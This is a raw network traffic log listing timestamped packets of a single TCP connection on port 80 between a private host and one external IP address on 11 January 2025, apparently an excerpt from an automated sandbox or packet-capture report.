Jan 11, 2025 06:39:20.654412031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654424906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654445887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.654475927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.654665947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654728889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654741049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654758930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654772997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654786110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654789925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.654798031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654817104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.654850006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.655234098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655246973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655260086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655277014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655282974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.655289888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655303001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.655339956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.655389071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655400991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655817032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655829906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655860901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.655860901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.655868053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655881882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655900955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655911922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655924082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655935049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655946016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655955076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.655958891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655992031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.655996084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.656003952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656019926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.656050920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.656861067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656872988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656883955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656900883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656913042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656918049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.656924963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656938076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656949997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656960011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.656961918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656974077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.656981945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.656986952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657001019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657001972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.657020092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.657047987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.657783985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657795906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657807112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657818079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657830000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657840967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657850981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.657852888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657881975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.657919884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657932997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657944918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657957077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657968044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.657968998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.657990932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.658020020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.658699036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.658710957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.658751965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.671588898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671608925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671621084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671704054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.671752930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671766043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671777964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671788931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671801090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671824932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671823978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.671837091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671849966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.671853065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.671854019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.671878099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.672019005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.672030926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.672040939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.672069073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.672102928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.705908060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.705923080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.705934048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.706074953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.708158970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.708179951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.708189011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.708199978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.708228111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.708230972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.708240032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.708262920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.708282948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.742619038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742634058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742645025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742655993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742667913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742679119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742697001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742697954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.742708921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742721081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742732048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742733955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.742743969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742758036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.742783070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.742783070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.742831945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742844105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742854118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742882013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.742940903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742954016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742966890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742978096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.742994070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.743052959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.779412985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779424906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779484987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.779506922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779520988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779532909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779544115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779556990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779568911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.779597998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.779597998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.779649973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779705048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779753923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779758930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.779766083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779778957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779812098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.779911041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779923916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779936075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779947042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.779967070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.779999018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780011892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780031919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780042887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780072927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780106068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780174017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780186892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780199051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780229092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780262947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780280113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780292988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780303955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780323029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780355930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780472994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780484915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780497074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780509949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780553102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780560970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780607939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780666113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780678034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780695915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780708075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780719995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780726910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780766964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780766964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780904055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780916929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780927896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780946970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780966043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780967951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.780980110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.780992031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781023979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.781035900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781060934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781074047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781088114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.781117916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.781157017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781168938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781182051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781192064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781204939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781213999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.781218052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781230927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.781250954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.781281948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.784375906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784388065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784408092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784420013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784430981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784452915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.784452915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.784492970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.784518957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784531116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784543991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784560919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784571886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784574986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.784584045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784620047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.784620047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.784629107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784641981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784652948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784665108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.784693956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.784725904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.784987926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785005093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785017014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785027981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785038948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785054922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785060883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785073042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785101891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785103083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785103083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785145044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785197973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785211086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785222054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785233021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785253048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785284996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785511971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785589933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785602093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785613060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785624981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785645962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785661936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785674095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785676956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785686970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785722017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785733938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785743952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785756111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785789967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785806894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785819054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.785829067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785829067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785829067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785830021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.785909891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.794467926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.794517040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.794522047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.794560909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.794574022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.794594049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.794605970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.794606924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.794629097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.794641972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.794672966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.806772947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.831300974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831330061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831345081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831362963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831373930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831386089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831403971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831420898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831425905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.831435919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831449032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831460953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831516981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.831583977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831595898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831607103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.831626892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.831650972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868052006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868067980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868079901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868105888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868124008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868141890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868176937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868208885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868221045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868262053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868278980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868294001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868304014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868328094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868347883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868350983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868362904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868376017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868387938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868405104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868408918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868422985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868452072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868453979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868464947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868473053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868493080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868499994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868515968 CET	80	49699	193.143.1.205	192.168.2.7
